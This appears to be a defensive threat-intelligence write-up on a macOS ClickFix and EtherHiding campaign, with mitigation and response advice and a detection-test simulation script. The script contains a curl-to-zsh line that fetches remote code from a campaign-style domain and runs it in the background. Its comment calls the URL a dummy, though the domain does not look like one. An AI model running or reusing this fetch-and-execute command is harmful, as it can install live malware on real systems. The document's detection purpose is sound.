ClickFix, EtherHiding, and the DPRK Cryptocurrency Trail

Summary

A sophisticated macOS malvertising campaign uses ClickFix social engineering to deceive users into running malicious commands in Terminal. The attack installs a Node.js backdoor that relies on EtherHiding, a technique that stores command-and-control configuration inside Ethereum smart contracts. Its main objectives are stealing cryptocurrency wallets and developer credentials.

Investigation

Researchers uncovered an attack chain involving a fake macOS update page, a Node.js RAT, an infostealer, and a malicious Chrome extension. On-chain analysis identified two Ethereum configuration contracts and traced associated funding through major exchanges, including KuCoin and Binance. The investigation also exposed a professional laundering pipeline used to transfer stolen cryptocurrency assets.

Mitigation

Defenders should educate users that legitimate macOS updates never require copying and pasting commands into Terminal. Technical controls should include blocking known malicious domains and monitoring for suspicious Node.js execution from cache directories. Browser integrity monitoring and strict permission controls for newly installed Chrome extensions are also recommended.

Response

If compromise is suspected, the affected system should be isolated immediately. Investigators should remove persistence artifacts, including malicious LaunchAgents, .zshrc modifications, and suspicious files stored in ~/Library/Caches. All exposed credentials should be rotated, and cryptocurrency assets should be transferred using a verified clean device.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The attacker executes a “ClickFix” social engineering attack. The user is prompted by a fake website to “Update macOS” by copying a specific command. The attacker’s goal is to gain initial access by executing a shell command that pipes a remote payload directly into a shell (zsh). Once the shell command runs, it initiates a node process that operates out of a hidden cache directory to maintain a low profile and evade standard file integrity monitoring.

• Regression Test Script:

  #!/bin/bash
  # Simulation of ClickFix/EtherHiding TTPs
  
  echo "[+] Starting Simulation: Fake macOS Update Command"
  
  # Scenario 1: The zsh pipe attack
  echo "[+] Executing Scenario 1: Malicious zsh pipe..."
  # We use a dummy URL to prevent actual malware execution while maintaining the command signature
  zsh -c "curl -ksfL https://real-tumble.pro/zpXxnS8xemq | zsh & disown" 2>/dev/null || true
  
  # Scenario 2: The node cache execution attack
  echo "[+] Executing Scenario 2: Malicious node execution from cache..."
  # Simulate a node process running from the user's cache directory
  mkdir -p ~/Library/Caches/malicious_dir
  touch ~/Library/Caches/malicious_dir/payload.js
  node ~/Library/Caches/malicious_dir/payload.js & 2>/dev/null || true
  
  echo "[+] Simulation commands dispatched."

• Cleanup Commands:

  # Cleanup simulation artifacts
  rm -rf ~/Library/Caches/malicious_dir
  echo "[+] Cleanup complete."